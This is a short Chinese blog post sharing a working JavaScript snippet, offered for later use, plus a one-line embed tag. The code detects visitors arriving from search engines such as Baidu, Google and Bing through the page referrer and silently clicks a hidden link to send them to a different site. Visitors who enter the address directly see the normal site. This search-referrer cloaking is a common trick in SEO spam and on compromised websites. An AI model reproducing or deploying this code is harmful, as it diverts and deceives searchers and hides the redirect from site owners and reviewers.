搜索跳转 自然浏览不跳转JS代码 自己研究用处
研究某些东西的时候无意之间发现了这个好东西,记录一下已被不时之需使用!可以实现的效果:当从搜索引擎搜索某个关键词进入网站后直接跳转到另外一个自己设定的网站上去!而用户输入网址正常浏览网站的时候,网站又是正常的!特此记录,以备后用!直接上代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
function replaceLink(){ // var arr = document.getElementsByTagName('a'); // for(var i=0,l = arr.length;i<l;i++){ // var e = arr[i]; // if(e.attributes['id']!=undefined){ // if(e.attributes['id'].nodeValue=='tshop'){ // e.href = "goto.php"; // } // } // } var regexp=/\.(so|baidu|google|sogou|yahoo|bing|gougou|360|youdao)(\.[a-z0-9\-]+){1,2}\//ig; var where=document.referrer; if(regexp.test(where)){ clickLink(); } } function clickLink(){ var Sys = {}; var ua = navigator.userAgent.toLowerCase(); var s; (s = ua.match(/msie ([\d.]+)/)) ? Sys.ie = s[1] : (s = ua.match(/firefox\/([\d.]+)/)) ? Sys.firefox = s[1] : (s = ua.match(/chrome\/([\d.]+)/)) ? Sys.chrome = s[1] : (s = ua.match(/opera.([\d.]+)/)) ? Sys.opera = s[1] : (s = ua.match(/version\/([\d.]+).*safari/)) ? Sys.safari = s[1] : 0; if (Sys.chrome || Sys.safari){ var e = document.createEvent('MouseEvent'); e.initEvent('click', false, false); document.getElementById('tshop').dispatchEvent(e); } else{ document.getElementById('tshop').click(); } } |
代码就这么多了!很简洁,在使用的时候也是比较方便的:
1 |
<script>replaceLink();</script> |
一句就好!现在试试效果去!